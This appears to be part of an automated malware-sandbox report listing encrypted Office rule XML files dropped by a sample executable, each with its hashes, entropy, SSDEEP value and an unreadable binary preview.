Preview:	<?xml#Y.....G...q.....~.<....p.o;q.! .....].g..D.,qA....r..e.Bq.Q~.Gs.w...._0S..d2...+.y,..K....M..l6]U......9e..~....~f-..$..ux.l.z..$.\|....Lm.G.2.....i..Gw.0.u.....I>.P.....<I.....j...M...off..../..t.....}...m..8=..'.u4....^.t`.&...&..b.........9......y..-.x~p.{.,.....#~!.#.......M.,.S..E)..g.8.v_S....H.:?..<..DY...Z{.@..}-.^...k..x...E?D..4.....(.n..>0....e.i.h...%.s..T.J/..9C.KZ...q...9D.J].D.V.E..d9.j..`..3... ..Fv.s.B.g..^.V?\|.....@zR.)...v=Q..s.._./.A.Jg..........,u.rp..........v..... BK\|.Pl!..!>.....m.U.......z..i..t....6o.b.@J$.^N1..CY1@.v%.n.RG..J..:..M..\.........O.....:OZ.k.\P\.e...?E..7F.....,...R..h."AYr..f.....(....Z.h...."A`2......n..V..O..v...p.2.C..U?.CQWn...D..@..`X.*..~i>S%..o.[..J.....o%...K.Q..}.O....!jZe37..giD.t.....hIZ..d......@.....~.rp..C..N.... 5...Uqz-....E.tM!.....R@B...,.....BhSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.769924575756193
Encrypted:	false
SSDEEP:	24:2PQ9fftPv6imXq+o1/8tuDa9iGo7MLy4gCOAbD:2PQdftPv4Xe58uDgVS45OaD
MD5:	456F757D76456BE4465C2FE5F9FB0906
SHA1:	6B1A79BDB836D0899A084DF57207F6D360AEC1DD
SHA-256:	4991C9305FDF116D324234093432F52DD74E1B821B4F07BAB8445F6CB87FB651
SHA-512:	5E8B5EFDB05D2B85129B2706118FCDCDF1C31A63026DF53D6F44C23C1CDF0642D86BDD13F262F13FDBE1F4AAED2A593E304A363C4E3220D538C13CDD6BD0E92D
Malicious:	false
Preview:	<?xml.T....u.8.G.tK..G....$..3..F..D. +.^...j.'r\|._.{.,m.fVc...I5.).HB=.^.q.%.yt..C,.y2..P..(M.N..?....IX..c....J5.....y....\|nP!.i.%....[4.,z..,.....<...f4}-...+:(E.B\|.........."......u..._..C.R[\|......K#3.?FBI6..1..(9.n.h. +.'....K..:........6i...9.\ .jc.b_...;Z.R_l....8.\|..H....<.&..@....!.~_t>....p5`.;g..&.....'.3.+f....L...#"...........ETO.8.(....@ne.p....Q$"?R...{.l.N_...W.f.{.?.E.....f......mi.:Dv.bF ..@..d...g.dr..Y..-2.......!.Kp.1... sv- 3\|.t....0.^.....[c.>nZT2.!. ..Fzl......'>.........k.....3....(...\.t....i.Ak..@.....uYv..-.fl.]j.YGlQ...aFn.!.z`.TA.H.[.3.f..Q.+..'`.._.U.Pa..`....b.=.E..S(.8 !Y.CM...b..7,.O;\Qq....?.AM.l.=.a....r..iQ.. ....`..&.j.....b...\|..j..x$@..Qz./..).O.OJ........x.M.L.y[...h.?$V..Oq..1..l..m.I.X.{.-i.....C......4..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.817820202093461
Encrypted:	false
SSDEEP:	24:qXzetni5wp3QxWvRiZXzkvwMxQSf6c3ck00bD:mzsVQxcRiZXz0JxdZD
MD5:	BED944C341E69BDAEFE0B7C1094E3562
SHA1:	A9C87E68227389A7E031620B74F6DA8ECCF9E457
SHA-256:	B0AA0699D3A237EC513BA7ACB6EBE05350707300770984746C166374912246CD
SHA-512:	266C9EBE527CBA89995A1856E8F79EC751517A43D78FE155E46F7AF4837EFCC73F59A6155CE62CD7656BB7993A41FCC8C4F99BF1A43FD5C2638BF7BE8F724DE9
Malicious:	false
Preview:	<?xml.M.}.........BX..{...\|...n...C5...uT.n....LM........gg..g.~..t$...S..4c..7..T.a.-.7!.b.x7bf....&..p#R....j..k#....o%.s...}...MN...X^..o.&.8...O q.T4..h}.+3.......C..J........L@..7....&.P....0 .$....P.o....=.<.~..U.#..k.u....7.@(......z.......`.......mW> s.0...{.....z.A4(._...+&[.......W.6.;...l.._.3...C}.i...P.8;...;.\|]E...K.!Q.....c.M........\..8..K..X.r.^~.....~D....^E...$....nr...i......_D+..7.P.+.+X./...{`.$"....T...k...ef....)\|.266.C..=.g+..9L...f.I...;.Ce..A.Lf..$+..).N..}.w%...}..es.U....^y..f...I.....fB.S.d..`.....}9... ?o..Y.aD.>:..,...9y:.......RB7.k...7..x7.)....F..%?...K....+7..3).._.p%....\...].q...=u.Y...\.1.b..fiR..Mh4.t5..?c...8.>.0qvC@m.p...;<C0ra.4.._/%V#...F.$...`M@K.9...F.....Z....p..,...H.tI........q.J......]A........=y.V.x\|.G...+.(o.<{...Y.H.......l.1Q`z2..U..V.Z...=.....lDB6.W.u".......#-d.e.....]..?.+...I.jha5:..Y.SUa..a.nUIM..TBi.....r...7...>...5..~Cxc...D~^.H(9..A...SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.748362980431769
Encrypted:	false
SSDEEP:	12:CBeiCr+c75ZAnJl78y2C9uudcLKiDldV89QRemmq5TziEPMy2vzboq4tH1+cii9a:C65CJl788LRwleQRdmyDkjvzboTtUbD
MD5:	9AC25D238B90F34ACCB1988C36EC9DA1
SHA1:	41B9E069E7B6A0891AA5B5C9AB02616810D96DB3
SHA-256:	4BAB35A23015F4EB864A5EB45982DF5CD1AED4418E4EF4E947BB1AA723845994
SHA-512:	715D7BE8B67F206A776DDF093FE85DBB6F7784BA8099FFDBF8ADDA2806B82F3EF37C763D1E5B53716FCA6BC016D2C73102AC429A55AB4248197165B525A610F2
Malicious:	false
Preview:	<?xmln..dK4$.j".........k.L.KL.$......D0.C....+sA.\..[N7<....b.%@..:..Q......._.g...4l.:..G...........6]....:...:..3zx..2MtI'=.Yy.........P..._.......[...I)..g...J.X....9....36Y.B.A86.}...8....8.F....qn.rR....H.o7..?J`..4.&9....W....P.t..K.o...4R./V.......i...$...}.}..Vn...).....R':.:.."..y+f.d..Nfl~...>.Y:.b.X..~7.p#.`.....]..o....KV}../...P.A..\........4.....2LD......]....TP.xu}.;4I......ub]PdG..z~-d...%.P......W...S4..k`_.7......j......c..+.B.7......l`...rg...........H.....IO..L.A7.!.. K.'........H.o&....)v..F.......3#,.........-....\|*.p.m..>..L3@.D.p.`.:Rp%n..!4e._=..Xbq.w-CA..F`.....1.Ob.Oz....~:B;U&)mt..A.L...G...xO7...QL.........p...d...i.3...q..m..g`....^.......\.N.eJ.o.R..f...3+`.'n..Uu.7...I.p.M..}E..P....9.L.f......c.>}:T=...,C"s.8+..r.%b.M.(1.V..h. ..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976487432642348
Encrypted:	false
SSDEEP:	192:YpHE06Yi0qWOajWVQnwNDxfaRVMi4YjJuNFlda:SHEGPhO1VOwNDxCRPkNF2
MD5:	29AE11FC44646411A30BA8DEC91DBB49
SHA1:	3FD56E11DAEBC904318E19AB8A1D7D19447E79BD
SHA-256:	70B190E354B7F5E43FA6094832A392F5C68A504A70FA83DF165D254F7D2BA24A
SHA-512:	EA723A0CF7EE7D910C9C4E40AC9E1296100B4197B448A99F3C1EE0F64CFEF25B961E51740E93F214CD486A246E10CDD35DDDE94D07C1A1A58E1C68CB91619B56
Malicious:	false
Preview:	<?xml.....a.N.zN{....f..Ho.......gF...\...{D........5..V.../....az...y...C..[p...>.O.....i......C.h.....>.!.a^.}...W..._(..-."}c...Mpt...4@^..........u1....>_...4..b.v..g..LXsL.p..Z=hJ./a..~pk?.A........NC.......s..Q.$u..R,..........RT.....p.`.E.e<T+... .er$-.......f.....D......{...Y..Ex.9!.V.Hu.0Z'.}.. ...kV7.w.b..o-'.D.x....%;.Y..... ...NV/..m.>L;.C\.5`.4A.+......$......cG<.\|..~XDs..c..+.9.}...g...,z..'....Phw..s...]....I..G..,B....!_..S...:.\|.=..3..R.x..}.OE.T=.9..c..@6...P.!d........^.i.b~...h.=..JG7t..IS.`8.2.C.{...u,...m..\..........e..C[...+.\..vW\|\|q........uQ......P.vv. ........J../t.N...v........z....d6.o.1.wP..8`..i.}.fq^,.Hz<dba+...'/..i.z[.`E <B.e6..U....0....V.Q:..TM.D.!;dBm..X..b.....cP......&b.e....E.n.......{.0.I......Z.5Wb.r.O.<..'i.\|^...Ap.n.....@...-..c.....f....g...Xr5......?.r9..=#C%.{Ec'.....8.r......{.......Z ...b../z.@..(.j.....+]..u.......&G.n~S.5.:.m.u..$...r....~...\|&@;.M.I.@k...V.p......9...n-.U..T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.839526883030482
Encrypted:	false
SSDEEP:	24:od0IGNqb2TNKaYo7aRR5BVB15n9Vr4+cqJAbD:oXR2TNKc4R5rh9Z4VD
MD5:	53A59CC6068D2D11F37268D28ABA34E5
SHA1:	7D0CE59559D0612C73AAF2CE403F5E279D937160
SHA-256:	9106C3971DE08D04A361C5126DE017DD6DCF40EC1A0B07F1763A8B36E2B7FB50
SHA-512:	2AC33C60A0455B23B827CC201A3900731BB4D24D9B0878089CEBEE5C1A114656291968C53385D17DDCEC9DD2B027530264BC6F9B53C37CC01FA025C19A283632
Malicious:	false
Preview:	<?xml._[9.!4....p....e..B.$..~../..>.O.^....B.......@.m...\|...!.......;]..6I...1S...Y....P..(...q.^O...qR.2j._..-V..:).-....R...o...).&3y....)..6ma.^yGz...j...W..~....ku..rdF.......... mY............;$'.H...G.'O..s.o..:f@..J..P.V..Ai.'....Q_..@M..v\|.5C=q.3...M....He+}K...W._..X.m..I.>...,.j..x.?..X.f'.W...T._....e....F.`..Z..(.p[.@K...-(..x/!....+#.'.T^e....8....+...q.Ve%.d.O.~h....c..}..G......y0..yV-..1.._.....U.;...D.Xg..6......)..C._B..o.r...y.w>r.....V.gn...a...K.....u).....#{....VN..m[....l.. F!.............!4.O.+Y,+..I..D"....A....Q...?.qa..e....c.......Z.../.:.p#.rJ.Xw..S..>..S..f...G.yD..!...^.G$+.V....p.....\v.....NH.+m.Sa.V.....\|j.p..I.g%..2..!..x..w.\|..Y.]? .#..\.]..a.JY..v_P.@.[kF.[..../..'."..!@.p]..9.u.iX...@.*...=.....1.../2.>.i%..V....1.u^.oR..T....[.r..p]_..K....V..&!w%......16:.~.!.<.{...".i{Lk.0i.O..u.x...@..5jM.0.L..'.;.z..q7A}../z..9($.....).w.k..s"....f....."..f.B....s.v./4R..#A.....p.. ..=..^.._u....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.823958073211072
Encrypted:	false
SSDEEP:	24:+rLgu300qoWX7eIWpAgVCM9CAMRDkT9hoGNPl/HbD:+rsu30zX7eIZeCAMRW2WNjD
MD5:	1C5508F6EAE63928344C5F4C413B8A7E
SHA1:	9658802DA4751903F9FC7D18044CF52B7F441B20
SHA-256:	3F726603E0939794A7CF4AFD18A48254231106911E8A8CF7F14BBAC87B5A8FEA
SHA-512:	C198AAF3106372CB4708FCCFF90E1868631BA8872175C976075549A3702DA972DFFA72099C99F177D04F22518E9C9386001B37605CC730AAAF3510E13914D35A
Malicious:	false
Preview:	<?xml9.%.)56.X....u.CA.h.}.....1C.^.[....\|^.9e..........".....V..Qr.x...z.....e_D8...G.A.......<LB....{Y.O.\|..f.....;..\|.E.,..q...C.C.e....F..?A31=.[.U.%\.....kZm......-.I..UH..A..r..A...h%..EVz......DZ.]...y.-d.Y.n...^.....$.$......8U2q..&hY.&.F=.S.iz..{..@........V<..+.X.z....i.%...;..Qy..'.I.`o.=.W..G}..D.#%.....5.zx..pW}...w.....b.t.......}a.Q.EM$4E..~D..........B)..";T.8>..>....c..&.,.e...'K..K.....^....F1.i...k .@.rR.._....?w..G.;A-Y...g.q....a...../@ZP..%9.1d%.b.6.<Y........(.Kgq-W..C..<.-...nT.%.W.WEmB6.l..H.@.....f.g\....:C.d..CqI..G..}._2".!..Q..d.$1..^f....?`vX8u...+M...5i.k..[.3.....X.M.........?O.!....p.I0.V!.."........goqZ../K...,..5q..TN X>C.E...S....iE.v...RY...VYocE.V.,m...GS.>.... ....m..#..A..V=...... ...&D...5..8.+~N.~Z.9....K.h..nQ.'.b._j.e..`..[5_!bC..a.%....F...bp..;.G....._....T.X.....3XmLjBV.i]~....R'.z...e.....F... ...\|.>...~...JF...e#@.z..'.-g{ ......7JM!.a... B...;.u..A4^.....N.O.../.E.)ZU..^.,...`..L..d61y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.83177010319884
Encrypted:	false
SSDEEP:	24:3MPYA4wkSxI8ETApsR7EDV8eawvRDLplRhegW6gGyObD:cPYAnkt8EspslwChwv3lCguGXD
MD5:	6EB2957B5F1F18EF15DA2D23BFD2EE23
SHA1:	F76783395A389F17DADDB1FC1812A9E9911A9FF0
SHA-256:	B62B23106B17B8CB67062489A60895D12103695121563C96A3762E3C05074E60
SHA-512:	F82C462890251FF9819488EEC98DA2D5CFDEADCB9847165AB2FC560A9AFC9376D4250B0227CB46ADF8583F28115A210664320506C35A35039F01BE7CC89D892B
Malicious:	false
Preview:	<?xml7f.y.)e.3..:.q}...a..t..tz.m...il.[...o.u....{....^..6.....Wn_d..!.x.C.L2#.......6R...Oc.....9.....SI.....P...u.:...KXF...-......^....C.xk.....n.e+.N.E.?~&...}..S.L...Z}B..]u%..e}{q..c....3._..M..@.z..#.W....k....K.$..Q.....'...T........ck............p.d.[.../.<A.^....y..hx...b...>..<n...AC.....'.b...F..m.h...../......C&@.3.P2t0.z.uo^.AL.(.J...\c..7..`.=.P..R.....x._.#\........X+4........x..%\..Z.h..$.X{2.....].F=3......d.:.......8e...&~&.I.r...>..po6.o{...e1t"....Gj..{..8..../].FHj.....0..i..:,)M.r..~.jo...P.1.0.&[[.g.8..}....".....a....9.g..Y.qp.W"..cE\|..r..p..B(j..,..>...H..p.F;0.O%....p}...4TWM.<.\|$..c\.....X...\|..ve(...x].LspA..V..=..!.-"V.$...3:U...k(...H+.D..KX/...:'.#......L.2.h'r...._5.....)..Q.'}\.C.UC.l......}..!..p._)..0c...},..x...0N../.]'XT.Bn.( B.....;... .O.....9.[8qQ.'...]..7.EIMU^..0w.=....M...Y...S..[.o?...]).C<L..Z.<iv..Y\|.`Q{...e.....$s....1..(.$.*rkp.....j.:6....(...#.Rejx.n. S.3.np..N.\|.Zb.Yj..SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.937622695186216
Encrypted:	false
SSDEEP:	48:WVIYQzJcRlvBaZs/SKGu+yYObBqqUFDsUiMyaFdW2Bn/mXjPiGuy7vD:kjQepos6LeV+S/srB/QPAy77
MD5:	7C9C63C830E26DF4F88AC1729C97D8E8
SHA1:	9B6C9AACF0A14832124A9CA64640C65F29D97A4F
SHA-256:	B2E65A6495332998CE2A0655E8296F8ABAE95BECB83D15F4A3622FD5DF5F3B92
SHA-512:	2D4A0753EDA07D7771923582F1C6245933E0482E32A8F04CFF67D3EBCD161613255A4182B9A48A069825C241007B48CED9C4391D20DC7DA6F018CF550196FBAD
Malicious:	false
Preview:	<?xml.2wj...1.\|...-.\|.......C.Og.sV.>.....!/Y.O..pxgB.?.......o.b...7..QP.5.."..9..F......s.h..1.m.`B.....bz.mm..S.W.'..P.P/M....&....P[.E.#.......m..i.4...Z1dO...Fe1...;.".]...9\....g..E.c...A...k7.. ...8...{..4D...o?..g..w?......c\.....m..... ...B.b(....zD.... ..-..k.....y...p..=.}..........G.1...?U%...c(.....?.,...:/(.d....0[.sm.E?<.b2c...X@I......'H.X"....S.Q...@-.h....q...Z..qBGW....T..w._E`..Z.E..D....oy..=.B+L....qX........./,..L/L.5...Z ;..P...hG....).".".#..c.....F@......z...ewQ.xm-....I.Zv:\..a.....:..%..L....u(.^?.D.....Si.....~.9...v.-.x.@..f..B...*.q..(,ZG.[.\|.0.v...}s].\|....[.B.&.I\|...vH.`...M...[.v....}.0.mj.wt..1.#_.&R....Z.........+.m..~X....:.....~...J....A.rF.2.....hE..`.c.@.LA..d#4[m....3.W..K.PX3..R.(.y66...{.o.....R\|o.VK+}.hL..{...W...TEH..(.....P..s...V[.u.Y5..8.,..]D..kB~.:..?)(`.~.d...h0....w_^..P4....g...E=hA.....^..a... ~.u.....j.z.k$.q.&......a..O..........[.$.m..$~........r.O..~._.4......'...9.p...N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.834291099051241
Encrypted:	false
SSDEEP:	24:AaieUgmSiffS2T3YtR4QZVR8i2QbrmTiv9BEoKs1WVZYHa5HbD:AaiimRf6m3YteQvv2cmTiv9moz1Lw7D
MD5:	B00396E271AFEE81E94F4E9A3CC4779B
SHA1:	35E6FDF553506634BE33DE6D3922758DD97FE58E
SHA-256:	668E73296518DCC3BE30CD2B205CAC9B395D2FC04E6AB10B345E54153285BF77
SHA-512:	0460987F7EE1187BE57D32A5DB473568DB423F8612F1D50068D2D9377F6035B8C82BEDA8988BA17E31BB1A845D1D0069E4881DA88848DD9B0CB99B354D765591
Malicious:	false
Preview:	<?xml..Vs.......".36.,%%/.^..l....%S....cw.K..^.#e..M.b.X.&xpEB....).<...hL......VxL...K....._]q.N1...a...<.zm...L.m...dJT.X.iA....Al.g.r-.....-....DM.)..+.._.6.owyO8.u^..y..6......s.\.k.!...Uc....i.6..5...'...,&.V,.?...]s........y...:5....2./...9..1.=c.sr]Kd..~..)..]%....e..wfG1I..gj..j..Kd..~he .c.\|.?S.5..:_..j..e'k..?.......e..O.}.../qD>.....W..YR.L...3$.HeW0.......R.Nm..N.......D..... ov........7.....D..C.\|pk......H.d72...D.4. ^..k[.owz...e.....4...Y.........tG.Uu.....d.....>..y.Z;..9%^........kM8.q....%..E}4.%eT.h....!'...........@F.E..?...=....SlQ. .$.ZE.M4.X.!...v..29.%..It...j..V[t...~S...Hw}wp8..kY$.q.L;>A...Y:......oH.\...%..Whr.....`(o.'R..VaU......k.....uJ...Yh.UZ..{X..J.'....I}q].HkH}=."g......pL.....,2.=3.O...V....-8...f.xN. ..i...y..g..!.......M.4..x.\|g\....d.U.Q.....O...G^..X.......T.h.z.].....:....V..R"..=..F.r....B.td?.bg7R.....~M.d.?..-[.V.....f<.+....Xs^;p..(..L5......@<2&..J..._.....9#Hn.v.q]p.X...B....k&z.d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.9744692026738555
Encrypted:	false
SSDEEP:	192:HH173CUHfp54Nnw4FZBy1vtXvDEM/MPbPnX0X:HH17t/j4NDZBy11/wM/AbPnXw
MD5:	B1C9B4DF6F6668EB9BCA24A03803C9A1
SHA1:	15BD1EACDA19FEF399ED1FF259E6B0D494AB3072
SHA-256:	3BB90CB36153B8E330ECB19162EAA1AF4165A0793A5D1359BB07E8B889852AA8
SHA-512:	690D0B1F4A8EA38653D4D34337671A3AB9362F041555756F292A91A4A76ABF5777D50794E5CCF0C5F0153AB28A7131DE210FBBF06B1E0C5C418810B973A430EB
Malicious:	false
Preview:	<?xml..p..C...{.O..?..Z.7;.B......V.n.J....V..J.!.q.....M/.d...T...x:Du.v..xm&s;...c..._4.E..).za....tB(..2'H}...j.E..3.a..S..8.<...#s.N.n.~.R....:.w.\G.Ew.......p\c...... ..j.9........ t...e...y"{...y7#..........o...s......q..I%0...HO..kw[x..........$.....V.....dF..Wj..^......6).`WN......?...s..@..V....e......Q].....h.e.2........j..6X.Hl.gM!..c......{ .+C.u.W..Se..+H.........!.1..I..@.3B>S ..O;.e"...."....?.....6...-..'j0k........f_.]........._.N.\K...\.....cb...A.Z....1'.i8.N.m..5.H..c .y....XB.../...v.8.>E...b.....v.h.o....9.....6j.}..?..N(..~Y..).B..W)CtG....A.]aH}S..e._t..d..nR.3L.Q'..g.k...y.F.y.+G../..\...[.".x.?P:%.`...l.kW.;6.{../.......n..\|.(..=..$..0a6A.D...T./aa....^.......tY-.f^....r9\j."..J...`...M....!..%.!.)E..7.....$Q.2L\.B...........8..TVJ....DM.4..Pd.\...:b...u~......C.....?..*.a.6..c..9j.IM.z.3z.k........p.2...j..h...._..stZPi;..P.{.c.&..2...T..<+d}...@0.i...M.2.....z.&\|}NK.f.Lvu...@.\.j..Y.1..b..2.x..E.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.706826958372392
Encrypted:	false
SSDEEP:	12:oVM3341cZW6a+dpXowEfc615lXRiPm5t1gG/Z4UpURQimSLmFm6Yxtirt4NPZp14:SM3I6ZjM5Cc1gG/qQN2Qw8bD
MD5:	11BB92E56BD7D85CAB77781863A55B72
SHA1:	9A0F744FEE5659F7D047AFC5F83C60F31E385746
SHA-256:	FEEC7781946774F85D791B40CB4917B0EB7E91782CB443B8FC4C675774DC659A
SHA-512:	80795ECDB6369655019F4C95FAA488976CE15A4815BBE896F47B6431DE2661D541A8EA630C10AAABF717191C4879DACBC5EF001E23D96EE6A7DCDDEEB6AD9A52
Malicious:	false
Preview:	<?xmlG.......SR.4.....+F....k2X.?...=.D.T.n(.....A.Y....5....<..k....(q..h...7...T.l..f..PO..)....{zFC.8.....c'........z.{...../Z.~..\|K}.H.g1.....$..I\|...:.n&.czR9F-^. eG7...c....D..T...\|...LC.g.O../&b.[#.(...7R...8o.qR.(Dz..C....<....._.$..iNu.....B...=..v...$N2/..-nR.}j~.C..sj.D~..N?}N.Ldi..e~.qS.(.....&iA5..0<F.&...O.`,Pz~,.f*.,u.j..7k.>.....U..A.A.8....D.~...x....3..vX.....+..{..p..\|..\|.E..l..~./.@..2R....f...,"E.."....... .,Q.?..NM...":...."._... ..V.Cl.;.m...n....k;`..V^........$p...G9C_..#..$...S..8.H....S.....nZ.s.....$.3.....H.X.+:jPZ.(T.f.#.......y.+.&8..5....A}.jE..P.5.....uE....M.(P....U.CR.w.p..kHPO...A.-..a.wr}.7.e...e....~.....PK....p..T.0... ....x3.Zw?.....I.^u.3Irc1SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.9161531585317455
Encrypted:	false
SSDEEP:	48:aCCmD8mvI6G/lzxtLd6xJv1BYghOeetN8s1zkD5MPE0oLDmD:PCmDRA6Ilzx96VPhzgTil4oLK
MD5:	560EF42397852B34E1973796E1022F16
SHA1:	8C8DF92DC0D1A27BEB7CA5054DC048C115AC790A
SHA-256:	421917BA054EE7480387D3D3765E825F6919D538249D4AD8DDF64D535773DB9F
SHA-512:	CB4AC3CC7650BF4CC8D3322D3370D15E712912C886B86856A6B2A1EFD8A575A3A7FEC78B07D959F69BF0314A7C29B2A56BAB4C4450B99B03284D57D7A55B66C6
Malicious:	false
Preview:	<?xml <..>....\.-e..).h..Y.>.Q.j.?I....dR.s7..V..=>...NS.....7r..4i..@j.....%ca.g...}..38..r.j.#O...R.t....G.c..-.A...O.....x$..E#...M...O_?.Yn.$.Ru%...<..W..........a..d1ej.@.1...oj."#9..K-....?.......%4.Zo.....m.q.J..fT.......%..N4.[........,.~..).y.M.T.....<..j.h.&A.L..@..'...$..Y.c.ZTL2BQ.....-.g."......$...?./..K...%....W.....^hvq.Y.....vQ...vO...ns.[.V..gB....../..&?z.;H.u.YnLYN..R.^.9......b.y.....G...[.N..g".8...?..........E.F.!.iia.'Rii\.Buh-.......!...S.w\|..zd....XF.2Hm..`a?.\|.....k.. .x.@.......J]l..lt .../......W.....>....~2w.w..+@\|H.. \|..k......NN....q.]..H....~..X6.L.?..a:F:..wF...W.[]z....f...Mik.Y.9..i{F..O....D.....F.45...._x.\M....j..9..jaV4...R........$s..(...S`.r.v../ ;...Q..A......]....:.Ma.3..k...f.t...Fc...}h..?......e...\..>....3^..()\V..z.3..@..a..~O...4...=....S.&..\|...4.....`.,W...x............ntT....g4.j..Ndj.Q...Br....ee..~.2Y.l.9.3...$.U6....F.E5..rn..@i.F@..:.^...c?5F.$....h;1.I}...;.W..r.$)_!...#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.875380182450611
Encrypted:	false
SSDEEP:	24:KFbZH4zB69QoCLrLwfUejV8Fzk/jBhHdBcljewJPSwDbD:K3Yc94LoUexACBRdBcljeCPdXD
MD5:	D1DE7CD76242140656DDD1788B23CE9F
SHA1:	6BC529A284FDB7C6A5B0D082356EEE0ED6F316A5
SHA-256:	618DC899458FD458E1984D990C505A4C3FF72F6D6FA1FF85424CE0130FDDF511
SHA-512:	23C72F2AA3D4E428614D72B93F39444B85666044E94BF7842E897813DE0DA7DF1EAD883D95E2F36AE90487DB0B18FA5042A0D54C0978868B125970551EB95C87
Malicious:	false
Preview:	<?xml;.....0h...[..`..Z.=..`.K...0F....A.^.....I.d...q.s..O8..[..q.F...?....wX.t&.x,..x1.h...."*.......JR<...9....k&.I.a.`.J.j. l.{....Y1.w#k.j.0.:.....Yk.. {)$.#b...6u..H}..Q.).._[..Y.Om....[....U]...+.j..Z[b3...,.r.'m+[.8...........{....`..LK..Y`../..%.5...._...#...;.^."4..../...@=......r...p...7.ys.....I...J....9.3...\|...g..^x.....u..(.".w.g..]_.e+......!.FW.."..a.w.Md.........h.%c.(I.. .C...X...X..{W..>.....A..].......2@T..d;.mG.@O.4.....,....^S.d..q..9Duy..QGr.A.H}=...@$..X.......]......"..1...^M...-...o.....2........o.[.U.z....,.-......n..j.OB#]..:.Q....y......6 ...Z.....X'v..Z..A.............>.-.+....Z.bo..;....>"u....r.....S..0RU.o.S.%5..h...YS[.Oq..A.......7I...T..c.:>..\ ..\s...7t..p.@M..45tF..~.bAJ'.. :=i......R.b.....Jl.R.>.9.......L).I.B....5.....6......=.R..26`A>...=......lW<Oz..J<.z."..1.`.k..yxn.G.M;.VgQ.ua...z.@1....M.:b..x.O...P...fV.I......3....EY..G.F..m....4.w.m..#.J.....j..8"\%f..).Y.p........?`j5....).....@....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.939870373118896
Encrypted:	false
SSDEEP:	96:4TS+prx1o3eWlKJIN34ain/5PiocF9Dw/hYLonVrv:WS+v1o7YIJQ/5a7zwq8D
MD5:	064A3F8B170B0EDFC733D5EF9E96B914
SHA1:	276013C2C03941516B93C90BE32CD933AE1AD5CE
SHA-256:	2A2FEFF948BFBECEBDB7A29B29F51D55D6EBA8EC851ABC4BB78DCF52A517F22A
SHA-512:	1EF39DCC1B36A94E3149CC3C9F2C543FE7E458DA22B6790420F89B4F4A932B7D75448C48DF104D8259BA4B79C9314B916FED2AC6587853105D2443D4AC4208AB
Malicious:	false
